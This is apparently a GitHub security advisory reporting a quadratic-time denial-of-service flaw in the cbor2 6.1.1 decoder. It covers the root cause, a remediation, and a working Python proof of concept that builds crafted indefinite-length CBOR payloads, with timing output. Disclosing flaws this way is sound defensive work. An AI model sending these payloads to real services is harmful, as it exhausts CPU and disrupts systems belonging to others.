GHSA-7325-hqrm-gj35: 
Python vulnerability analysis and mitigation

Summary: I would like to report a potential denial-of-service issue in cbor2 6.1.1. A crafted valid CBOR payload using an indefinite-length byte string or text string split into many tiny chunks can trigger quadratic CPU consumption during decoding. Credit: Yaohui Wang Affected version tested:

• cbor2 6.1.1 from PyPI
• Repository commit reviewed: 3e7bc5353476f8bd74e4bacb0d2db33d2c96ecae
• Python 3.10.11 on Windows 10/11 Root cause: In rust/decoder.rs, decode_bytestring() handles indefinite-length byte strings by starting with an empty Python bytes object and repeatedly appending each decoded chunk: bytes = bytes.add(chunk)?.cast_into()?; This is around rust/decoder.rs lines 394-412. The indefinite-length text string path in decode_string() has the same pattern: string = string.add(decoded)?.cast_into()?; This is around rust/decoder.rs lines 444-472. Python bytes and str are immutable, so each add() copies the already accumulated value. With many attacker-controlled small chunks, decoding performs roughly O(n^2) copying. Proof of concept:

import cbor2, time, gc
def indefinite_bytes(total, chunk=1):
    return b'\x5f' + (bytes([0x40 + chunk]) + b'A' * chunk) * (total // chunk) + b'\xff'
def indefinite_text(total, chunk=1):
    return b'\x7f' + (bytes([0x60 + chunk]) + b'A' * chunk) * (total // chunk) + b'\xff'
def definite_bytes(total):
    return b'\x5a' + total.to_bytes(4, 'big') + b'A' * total
def definite_text(total):
    return b'\x7a' + total.to_bytes(4, 'big') + b'A' * total
def bench(label, data):
    gc.collect()
    t0 = time.perf_counter()
    value = cbor2.loads(data)
    dt = time.perf_counter() - t0
    print(f'{label:20s} encoded={len(data):9d} decoded={len(value):8d} time={dt:8.3f}s')
for total in (131072, 262144, 524288, 1048576):
    print(f'\n-- decoded payload size: {total} bytes/chars')
    bench('indefinite bytes', indefinite_bytes(total))
    bench('definite bytes', definite_bytes(total))
    bench('indefinite text', indefinite_text(total))
    bench('definite text', definite_text(total))

Observed output from one local run:

-- decoded payload size: 1048576 bytes/chars
indefinite bytes     encoded=  2097154 decoded= 1048576 time=  16.738s
definite bytes       encoded=  1048581 decoded= 1048576 time=   0.002s
indefinite text      encoded=  2097154 decoded= 1048576 time=  41.324s
definite text        encoded=  1048581 decoded= 1048576 time=   0.004s

Impact: Applications that decode untrusted CBOR with the default allow_indefinite=True setting can be forced to spend excessive CPU on relatively small valid CBOR inputs. This can affect network services, API gateways, message processors and workers that accept CBOR payloads from untrusted clients. Suggested remediation: Avoid repeated concatenation of immutable Python bytes/str objects in the loop. Accumulate chunks in a Rust Vec<u8> or chunk vector and construct the final Python object once. For text strings, avoid string = string.add(decoded) in the loop; either accumulate raw bytes and decode once, or use a linear-time builder strategy while preserving str_errors behavior. CVE/GHSA request: Could you please review whether this should be handled as a GitHub Security Advisory and assigned a CVE? I am happy to provide additional measurements or test a candidate patch privately. Please credit Yaohui Wang.